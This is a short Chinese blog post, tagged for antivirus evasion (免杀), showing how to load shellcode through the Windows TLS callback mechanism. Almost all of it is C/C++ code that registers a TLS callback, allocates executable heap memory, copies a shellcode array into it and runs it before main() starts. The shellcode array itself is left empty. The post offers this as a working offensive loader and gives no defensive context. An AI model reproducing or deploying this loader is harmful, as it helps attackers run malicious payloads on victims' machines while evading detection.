«

ShellCode加载 - TLS机制

ljierui 发布于 阅读:143 技术杂谈


1、TLS机制

1.1、TLS回调函数

1.2、TLS回调函数加载shellcode

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {};

void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    // 在此处可以加载和执行实际的shellcode
    if (Reason == DLL_PROCESS_ATTACH) {
        HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

        char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

        memcpy(buffer, shellcode, sizeof(shellcode));

        ((void(*)(void)) buffer)();
    }
}

// 使用 #pragma comment 指令,确保链接器在生成的PE文件中包含TLS回调。
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_func")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:_tls_callback_func")
#endif

extern "C" {
#ifdef _WIN64
    PIMAGE_TLS_CALLBACK tls_callback_func[] = { TlsCallback, 0 };
#else
    __declspec(allocate(".CRT$XLX")) PIMAGE_TLS_CALLBACK tls_callback_func = TlsCallback;
#endif
}

int main() {
    // 主函数执行,此时TLS回调已经被调用,并且shellcode已经执行
    printf("Main function executed.\n");
    return 0;
}

免杀

推荐阅读: